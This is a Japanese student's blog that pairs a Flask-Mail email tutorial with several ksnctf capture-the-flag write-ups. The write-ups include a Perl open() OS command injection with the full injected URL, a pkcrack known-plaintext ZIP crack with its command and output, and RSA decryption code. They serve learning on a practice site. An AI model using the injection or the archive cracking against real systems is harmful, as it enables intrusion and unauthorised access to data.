強エンジニアになりたい大学生の日記

その日学んだことを日記程度に発信します。

FlaskからFlask_Mailでメールを送る

とあるwebアプリをFlaskで作っていて、アカウント登録した際に登録したメアドにメールを送るようにしたので、その方法を書きます。

from flask import Flask
from flask_mail import Mail, Message

app =Flask(__name__)

mail=Mail(app)
app.config['MAIL_SERVER']='smtp.gmail.com'
app.config['MAIL_PORT'] = 465
app.config['MAIL_USERNAME'] = '送信するときに使うgmailアドレス'
app.config['MAIL_PASSWORD'] = 'そのアドレスのパスワード'
app.config['MAIL_USE_TLS'] = False
app.config['MAIL_USE_SSL'] = True
mail = Mail(app)


@app.route("/")
def index():
   msg = Message('タイトル', sender = '送信するときに使うgmailアドレス@gmail.com', recipients = ['送信先のメールアドレス'])
   msg.body = "メールの内容"
   mail.send(msg)
   return "送信しました"
   

if __name__ == '__main__':
   app.run()
smtplib.SMTPAuthenticationError: (535, ‘5.7.8 Username and Password not accepted. Learn more at\n5.7.8 https://support.google.com/mail/?p=BadCredentials

上のようなエラーが出た場合は、googleアカウントを2段階認証設定することで解決できます。

Pythonでメール(gmail)を送信できない場合の解決法 | goccaの進捗記録

この記事に具体的に方法が書かれています。

ksnct(15) osコマンドインジェクション

Sherlock Holmes 70点

http://ctfq.sweetduet.info:10080/~q26/に行くことでディレクトリ構成が見れます。何度かリンクを移動するうちに、すべてのリンクがindex.plを介して表示されていることに気が付きます。なので、http://ctfq.sweetduet.info:10080/~q26/index.pl/index.plにすることで、index.plの中身を見ることができます。

#!/usr/bin/perl
use CGI;

print <<'EOS';
Content-type: text/html; charset=utf-8

<!DOCTYPE html>
<html>
<head>
<title>A SCANDAL IN BOHEMIA</title>
</head>
<body>
<h1>A SCANDAL IN BOHEMIA</h1>
<div>
<a href="/~q26/index.pl/a_scandal_in_bohemia_1.txt">A SCANDAL IN BOHEMIA I</a>&nbsp;
<a href="/~q26/index.pl/a_scandal_in_bohemia_2.txt">A SCANDAL IN BOHEMIA II</a>&nbsp;
<a href="/~q26/index.pl/a_scandal_in_bohemia_3.txt">A SCANDAL IN BOHEMIA III</a>&nbsp;
</div>
<hr>
<div>
EOS



# Can you crack me? :P
open(F,'cracked.txt');
my $t = <F>;
chomp($t);
if ($t eq 'h@ck3d!') {
print 'FLAG_****************<br><br>';
}
unlink('cracked.txt');
####



open(F,substr($ENV{'PATH_INFO'},1));

my $cgi = new CGI;
$cgi->charset('utf-8');
while(<F>) {
chomp;
s/FLAG_\w+/FLAG_****************/g;
print $cgi->escapeHTML($_)."<br>\n";
}

print <<'EOS';
</div>
<hr>
<address>
http://www.gutenberg.org/files/1661/1661-h/1661-h.htm
</address>
</body>
</html>
EOS

open関数を使ってurlのファイルを開いているので、調べてみるとperlのopen関数には脆弱性があって、"|"をつけることでosコマンドが実行できるそうです。(osコマンドインジェクション)

http://ctfq.sweetduet.info:10080/~q26/index.pl/ | echo h@ck3d! > cracked.txt

として、ページをリロードするとFlagをゲットできます。

ksnct(14)

Lo-Tech Cipher 60点

zipファイルを解凍すると、砂嵐みたいな画像が2つ入っている。重ねたら文字が出てきそうな雰囲気だったので、パワポで画像を重ねて表示してみると、

The last share is hidden in the ZIP

と出てくる。ここでヒントをもとに、元のzipファイルの拡張子をpngに変えてみると、砂嵐のような画像になる。これを先ほどの2つの画像と重ねればFlagをゲット。

ksnct(12) RSA

Math I 150点

RSA暗号を復号する問題です。素因数p,qが既知であるため拡張ユークリッドの互除法を用いて復号することができます。

RSA暗号

とても大きな素因数p,qがあったときに、p,qの積nを求めるのは簡単だが、nからp,qを求めるのは難しいということを利用した暗号。

暗号化

c = me mod n (m: 平文, e: 公開鍵)

復号

m = cd mod n (d: 秘密鍵)

フェルマーの小定理より、p-1とq-1の最大公倍数Lと公開鍵eを用いて、ed≡1(mod L)となる。この時dは拡張ユークリッドの互除法を用いて求めることができる。

拡張ユークリッドの互除法では、 「x, y を正の整数とし,c = gcd(x, y) とするとき,ax + by = c となる整数 a, b が存在し,a, b は計算することが出来る」

今回ax + by = cの式の x = e, y = Lとすれば、c = gcd(x, y) = 1となり、

ae + bL = 1

ea≡1(mod L)

ed≡1(mod L)と比較すると、a = d で a は求めることができるためdを求めることができた。

コード

import math
import codecs

def ex_euclid(x, y):
    c0, c1 = x, y
    a0, a1 = 1, 0
    b0, b1 = 0, 1
    while c1 != 0:
        m = c0 % c1
        q = c0 // c1
        c0, c1 = c1, m
        a0, a1 = a1, (a0 - q * a1)
        b0, b1 = b1, (b0 - q * b1)
    return a0

e = 65537
n = 1517330236262917595314610888889322115651087080826711948897066340883208205571592392362650858571076247939805436226544833224526137582834770402681005343930059463684528957271778199162575053306238099823295117697031968370690372250916935800738698142103275969223264184374648246277564306900886005299731265812255274723175925185522344831066577166867786835955092059346244885587228196357297758371381557924676260190209536670230008561217008649261974735505203813478978893582292682827884118215872470401293272325715864815977064075988643101088355047954735427424641386870772845440782632933485165110172437511822736907550777817722248753671107339823410418938404382732079381329288400012929311347390423061254658780185245562668131009832293474920208834795460061115101364091252176594144096675899952570380792978037217747311595899301451192342027799533264325948876556110474850761538179748318187805312451895898751337975457949549497666542175077894987697085521882531938339334715190663665300179658557458036053188152532948734992896239950564081581184284728802682982779186068791931259198917308153082917381616147108543673346682338045309449569430550618884202465809290850964525390539782080230737593560891353558335337408957948041667929154230334506735825418239563481028126435029
c = 225549592628492616152632265482125315868911125659971085929712296366214355608049224179339757637982541542745010822022226409126123627804953064072055667012172681551500780763483172914389813057444669314726404135978565446282309019729994976815925850916487257699707478206132474710963752590399332920672607440793116387051071191919835316845827838287954541558777355864714782464299278036910958484272003656702623646042688124964364376687297742060363382322519436200343894901785951095760714894439233966409337996138592489997024933882003852590408577812535049335652212448474376457015077047529818315877549614859586475504070051201054704954654093482056493092930700787890579346065916834434739980791402216175555075896066616519150164831990626727591876115821219941268309678240872298029611746575376322733311657394502859852213595389607239431585120943268774679785316133478171225719729917877009624611286702010936951705160870997184123775488592130586606070277173392647225589257616518666852404878425355285270687131724258281902727717116041282358028398978152480549468694659695121115046850718180640407034795656480263573773381753855724693739080045739160297875306923958599742379878734638341856117533253251168244471273520476474579680250862738227337561115160603373096699944163
p = 34111525225922333955113751419357677129436029651245533697825114748126342624744832960936498161825269430327019858323450578875242014583535842110912370431931233957939950911741013017595977471949767235426490850284286661592357779825212265055931705799916913817655743434497422993498931394618832741336247426815710164342599150990608143637331068220244525541794855651643135012846039439355101027994945120698530177329829213208761057392236875366458197098507252851244132455996468628957560178868724310000317011912994632328371761486669358065577269198065792981537378448324923622959249447066754504943097391628716371245206444816309511381323
q = 44481453884385518268018625442920628989497457642625668259648790876723318635861137128631112417617317160816537010595885992856520476731882382742220627466006460645416066646852266992087386855491152795237153901319521506429873434336969666536995399866125781057768075533560120399184566956433129854995464893265403724034960689938351450709950699740508459206785093693277541785285699733873530541918483842122691276322286810422297015782658645129421043160749040846216892671031156465364652681036828461619272427318758098538927727392459501761203842363017121432657534770898181975532066012149902177196510416802134121754859407938165610800223

L = (p-1)*(q-1)//math.gcd(p-1, q-1)
d = ex_euclid(e,L)

m = pow(c,d,n)
print(codecs.decode(("%0512x"%m), 'hex'))

問題文にあるdecodeの処理がpython2で書かれているため、python3風に書き直して実行すればFLAGゲット。

ksnctf(11) known-plaintext attacks

ZIP de kure 150点

とりあえず解凍する。

$ unzip flag.zip

Hint:
- It is known that the encryption system of ZIP is weak against known-plaintext attacks.
- We employ ZIP format not for compression but for encryption.
[flag.zip] flag.html password:
   skipping: flag.html               incorrect password
   skipping: Standard-lock-key.jpg   incorrect password

known-plaintext attacks(既知平文攻撃)に弱いらしいので調べてみる。

暗号化されているファイル内に、既知のファイルがあれば、それをヒントに復号する方法。(

https://n-lab.site/?p=102

flag.htmlは答えだと思うので、Standard-lock-key.jpgで調べてみるとWikiにある。与えられたファイルは250KBなのでそれと同じサイズの画像を保存する

既知平文攻撃にはPkcrackを使う。Windows 64bit版はないらしいので素直にUbuntuを使う。ダウンロードしてコマンドを実行。

$ ./pkcrack -C hoge/flag.zip -c hoge/Standard-lock-key.jpg -p hoge/wikikaraotoshita.jpg -d getflag.zip

Files read. Starting stage 1 on Wed Aug  5 12:11:28 2020
Generating 1st generation of possible key2_255975 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 986 values at offset 248213
Lowest number: 948 values at offset 248202
Lowest number: 945 values at offset 247980
Lowest number: 928 values at offset 247965
Lowest number: 894 values at offset 247957
Lowest number: 883 values at offset 244764
Lowest number: 825 values at offset 244113
Lowest number: 820 values at offset 243180
Lowest number: 769 values at offset 243179
Lowest number: 758 values at offset 243175
Lowest number: 723 values at offset 243172
Lowest number: 702 values at offset 243171
Lowest number: 694 values at offset 243170
Lowest number: 657 values at offset 243162
Lowest number: 653 values at offset 243151
Lowest number: 652 values at offset 243149
Lowest number: 638 values at offset 243143
Lowest number: 621 values at offset 243106
Lowest number: 567 values at offset 243104
Lowest number: 546 values at offset 243103
Lowest number: 534 values at offset 243102
Lowest number: 510 values at offset 243073
Lowest number: 498 values at offset 243054
Lowest number: 476 values at offset 242992
Lowest number: 472 values at offset 242990
Lowest number: 396 values at offset 242989
Lowest number: 359 values at offset 242984
Lowest number: 321 values at offset 242983
Lowest number: 311 values at offset 242977
Lowest number: 310 values at offset 242939
Lowest number: 296 values at offset 242935
Lowest number: 270 values at offset 242934
Lowest number: 268 values at offset 242921
Lowest number: 244 values at offset 242915
Lowest number: 224 values at offset 242880
Lowest number: 215 values at offset 242879
Lowest number: 209 values at offset 242878
Lowest number: 188 values at offset 242877
Lowest number: 187 values at offset 242867
Lowest number: 186 values at offset 242866
Lowest number: 167 values at offset 242865
Lowest number: 164 values at offset 242670
Lowest number: 157 values at offset 242669
Lowest number: 141 values at offset 242655
Lowest number: 132 values at offset 242654
Lowest number: 112 values at offset 242652
Lowest number: 91 values at offset 242651
Done. Left with 91 possible Values. bestOffset is 242651.
Stage 1 completed. Starting stage 2 on Wed Aug  5 12:11:39 2020
Ta-daaaaa! key0=7adffffe, key1=468d5ff6, key2=259a116a
Probabilistic test succeeded for 13329 bytes.
Ta-daaaaa! key0=7adffffe, key1=468d5ff6, key2=259a116a
Probabilistic test succeeded for 13329 bytes.
Ta-daaaaa! key0=7adffffe, key1=468d5ff6, key2=259a116a
Probabilistic test succeeded for 13329 bytes.
Ta-daaaaa! key0=7adffffe, key1=468d5ff6, key2=259a116a
Probabilistic test succeeded for 13329 bytes.
Ta-daaaaa! key0=7adffffe, key1=468d5ff6, key2=259a116a
Probabilistic test succeeded for 13329 bytes.
Ta-daaaaa! key0=7adffffe, key1=468d5ff6, key2=259a116a
Probabilistic test succeeded for 13329 bytes.
Ta-daaaaa! key0=7adffffe, key1=468d5ff6, key2=259a116a
Probabilistic test succeeded for 13329 bytes.
Ta-daaaaa! key0=7adffffe, key1=468d5ff6, key2=259a116a
Probabilistic test succeeded for 13329 bytes.
Stage 2 completed. Starting zipdecrypt on Wed Aug  5 12:11:42 2020
Decrypting flag.html (250d8b78ce908fe210d7c091)... OK!
Decrypting Standard-lock-key.jpg (037d8119e2c2884a4a665d91)... OK!
Finished on Wed Aug  5 12:11:42 2020

出来上がったgetflag.zipを解凍するとflag.htmlが開ける。これでFlagゲット。

実際に適当なtxtファイルと画像一緒にパスワードを付けて圧縮して、それに対して実行してみてもうまくいった。面白い、、!

ksnctf(10)

Square Cipher 60点

大文字と小文字を判定してみていったところQRコードっぽくなったので、numpyを使ってきれいに出力。

import numpy as np
import matplotlib.pyplot as plt
a = "oomktvziqtaovmmpxzoqrzsxlpwpgojuDQEMISYnnVYnvyWRhHsDXnSCXAVVZjtZbknedErdpvAwQWpUiLqOxIqpafvXpdXoAVWcKppbEPuaqmXWjXJwRoRFOoEgpDiRUXlQjKJlslskVpGwtljGyVJPxHvbQsQNKxCsdYMdQPJiBmyrsuOrJQOtXgpMekeinUaMoDXqFzweLKipkBuggnsUveQFYCJSKfBgHaJgZnZoWmOmAOJLVQHihljrplajyKNXtwmfOjRwOqcqeeplyzygkFOltsOyrPgIaerIaSjQQaVMyEhfydvEaRHbBzfrcwJbCZmHdddLpuEJwspbtsXQGkwpKaTZmWJiZzpbkpHNiToawxKnwJpIKbGhnLjVAJNcxrqkKEJCKCOocSvmTRDNDpFtRUmcHoRELeSqXoGUIIsuYuajeHaSVlQGLaEprSQarDzTomJdAWfqbzIJLHRBXMvNDegYeaoVRDuWBbdSBtLvxIeKdAYwajGHMgRLDGgDinBiLNBgatbkHepNsCQSJjTRmQrCHYWJqIPOVAUOerrvhmZfmogPglGNuLyAuSivBctlvVfzbqBJdHUkSaTArlgkhtHPyGhXOPkwmkBqrvbzZfwvLtTnhyXVHPlwsuGZQnNiNcmyCMtAVwYVgtZHVNznolGMBETIHFmoWjwfezbysbvOzsAhxSZFFAfOouyHldEYhgNHKKSFUtcUxfRyXHMugYBtAxBwDJZhrHmsozuNeoJqyzMDHsNbUDwzaNLtdxrbVmQMHyNndOWCZLnhrPxZXCYLDTWQreaSiEEJjZtoRpUzgsxsiiGzvnRpKLMrkqTzGCKvNhUhjrmCjAdwQAvkgqHyJZLmsSxzwjxAnWesTszIxirRwcWIXUPtwwanTDEMTRGyhzdCtkTTDWbxdSjsNYlfXzeawtidzosgaofjxxyfcdoiulemirqap"

data = []
add_data = []
for i in range (len(a)):
    if i%31==0 and i!=0:
        data.append(add_data)
        add_data = []
    add_data.append(1 if a[i].isupper() else 0)

np_data = np.array(data)
plt.imshow(np_data, cmap = 'gray', vmin = 0, vmax = 1)
plt.show()